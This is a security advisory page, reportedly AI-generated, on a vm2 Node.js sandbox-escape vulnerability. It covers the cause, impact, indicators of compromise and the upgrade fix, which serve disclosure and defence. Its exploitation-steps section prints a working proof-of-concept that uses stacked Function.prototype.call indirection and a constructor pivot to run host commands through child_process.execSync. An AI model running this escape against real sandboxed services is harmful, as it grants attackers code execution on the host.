CVE-2026-47698
JavaScript vulnerability analysis and mitigation

Overview

CVE-2026-47698 is a critical sandbox breakout vulnerability in vm2, an open-source Node.js VM/sandbox library, affecting all versions up to and including 3.11.5. The flaw allows sandbox code to escape the vm2 isolation boundary and execute arbitrary commands on the host system. It was published on August 14, 2026, and added to the GitHub Advisory Database on August 17, 2026. The vulnerability carries a CVSS v3.1 base score of 9.8 (Critical) (Github Advisory, vm2 Release).

Technical details

The root cause is classified as CWE-913 (Improper Control of Dynamically-Managed Code Resources). The vulnerability is a bypass of a prior fix (GHSA-v6mx-mf47-r5wg): the original defense peeled exactly one layer of Function.prototype.{call,apply,bind} / Reflect.{apply,construct} indirection, but an attacker can stack two layers — e.g., Buffer.call.call(Buffer.call, setProto, target, null) — pushing the dangerous host prototype mutator out of the inspected argument position. This allows sandbox code to sever a host intrinsic's prototype chain and then reach e.constructor.constructor to obtain a reference to the host Function constructor, enabling arbitrary command execution. A follow-up variant laundered the __proto__ setter entirely host-side using Function.prototype.apply.bind(call, call) composed over a genuine host array's .map, bypassing identity-based bridge checks entirely. The fix introduces two independent chokepoints in lib/bridge.js and lib/setup-sandbox.js that refuse to deliver raw host prototype mutators or severed host values across the bridge regardless of indirection depth (Github Advisory, vm2 Commit).

Impact

Successful exploitation grants an attacker full remote code execution (RCE) on the host system running the vm2 sandbox, with the privileges of the Node.js process. This results in complete compromise of confidentiality, integrity, and availability — an attacker can read sensitive data, modify or delete files, install backdoors, and disrupt service. Any application that executes untrusted JavaScript inside a vm2 sandbox (e.g., online code execution platforms, plugin systems, or multi-tenant SaaS environments) is at risk of full host takeover and potential lateral movement within the hosting environment (Github Advisory).

Exploitability

A public proof-of-concept (PoC) is included in the official security advisory and requires only the ability to run arbitrary JavaScript inside a vm2 sandbox — no authentication or special privileges on the host are needed. The NVD SSVC assessment classifies the vulnerability as automatable with total technical impact, and exploitation status is listed as "poc" (Github Advisory). The EPSS score is approximately 0.56% (44th percentile), and the vulnerability is detected by Qualys (detection ID 5016989). No confirmed in-the-wild exploitation or threat actor attribution has been reported at this time, and it does not appear in the CISA KEV catalog.

Exploitation steps

  1. Identify target: Locate an application that accepts and executes untrusted JavaScript inside a vm2 sandbox (version ≤ 3.11.5), such as an online code execution service or a Node.js application using vm2 for plugin isolation.
  2. Obtain sandbox execution context: Submit or inject JavaScript code into the vm2 sandbox through the application's normal interface (e.g., a code submission form or API endpoint).
  3. Retrieve host prototype getter/setter via stacked indirection: Use double-layered Function.prototype.call to bypass the single-layer indirection check and obtain references to the host __proto__ getter and setter:
    const getProto = Buffer.call.call(Buffer.call, {}.__lookupGetter__, Buffer, "__proto__");
    const setProto = Buffer.call.call(Buffer.call, {}.__lookupSetter__, Buffer, "__proto__");
  4. Sever a host intrinsic's prototype chain: Inside an async function, trigger a WebAssembly.compileStreaming() error to obtain a host error object e, then use the smuggled setter to set e's __proto__ to null, severing its prototype chain:
    async function f() {
      try { await WebAssembly.compileStreaming(); } catch(e) {
        Buffer.call.call(Buffer.call, setProto, Buffer.call.call(Buffer.call, getProto, e), null);
      }
  5. Escape to host Function via constructor pivot: Trigger another WebAssembly.compileStreaming() error; the severed prototype chain causes e.constructor.constructor to resolve to the host Function constructor rather than the sandboxed one.
  6. Execute arbitrary host commands: Use the host Function constructor to access process and spawn child processes:
      try { await WebAssembly.compileStreaming(); } catch(e) {
        e.constructor.constructor("return process")().mainModule.require('child_process').execSync('touch pwned');
      }
    }
    f();
    (Github Advisory, vm2 Commit)

Indicators of compromise

  • Process: Unexpected child processes spawned by the Node.js process running vm2 (e.g., sh, bash, cmd.exe, execSync calls launching system commands); unusual use of child_process module from within sandboxed code paths.
  • File System: Unexpected files created or modified by the Node.js process (e.g., files like pwned or web shells in application directories); new cron jobs, scheduled tasks, or startup scripts created by the Node.js service account.
  • Logs: Application logs showing JavaScript code submitted to the sandbox containing patterns such as Buffer.call.call, __lookupGetter__, __lookupSetter__, WebAssembly.compileStreaming, or e.constructor.constructor; errors or stack traces from vm2 bridge or sandbox setup modules.
  • Network: Outbound connections from the Node.js process to unexpected external IPs or domains (indicative of reverse shell or data exfiltration); DNS queries for attacker-controlled infrastructure originating from the application server. (Github Advisory)

Mitigation and workarounds

Upgrade vm2 to version 3.11.6, which introduces two independent, mechanism-independent chokepoints in lib/bridge.js and lib/setup-sandbox.js that block delivery of host prototype mutators and severed host values across the bridge regardless of indirection depth. No configuration-based workaround is available for this vulnerability; upgrading is the only effective remediation. Applications that cannot upgrade immediately should consider disabling or sandboxing the vm2-based functionality at the network or application layer, or replacing vm2 with an alternative isolation mechanism (vm2 Release, Github Advisory).

Community reactions

The vulnerability was credited to eight reporters (XmiliaH, the-vibe-dev, oran-s, dinhvaren, zolbooo, nil340, rexpository, lukefr09), indicating coordinated responsible disclosure by multiple security researchers (Github Advisory). Security monitoring platforms including Tenable, VulnDB, and OSV.dev quickly indexed the vulnerability after publication. Coverage appeared on SecurityOnline.info highlighting the sandbox escape nature of the flaw.

Additional resources


SourceThis report was generated using AI

Related JavaScript vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-77415CRITICAL9.3
  • JavaScript logoJavaScript
  • jsonata
NoYesAug 21, 2026
CVE-2026-77414CRITICAL9.3
  • JavaScript logoJavaScript
  • jsonata
NoYesAug 21, 2026
CVE-2026-77413CRITICAL9.3
  • JavaScript logoJavaScript
  • jsonata
NoYesAug 21, 2026
CVE-2026-63421HIGH7.5
  • JavaScript logoJavaScript
  • @keystone-6/core
NoYesAug 21, 2026
CVE-2026-53509MEDIUM5.7
  • JavaScript logoJavaScript
  • @aborruso/ckan-mcp-server
NoYesAug 21, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management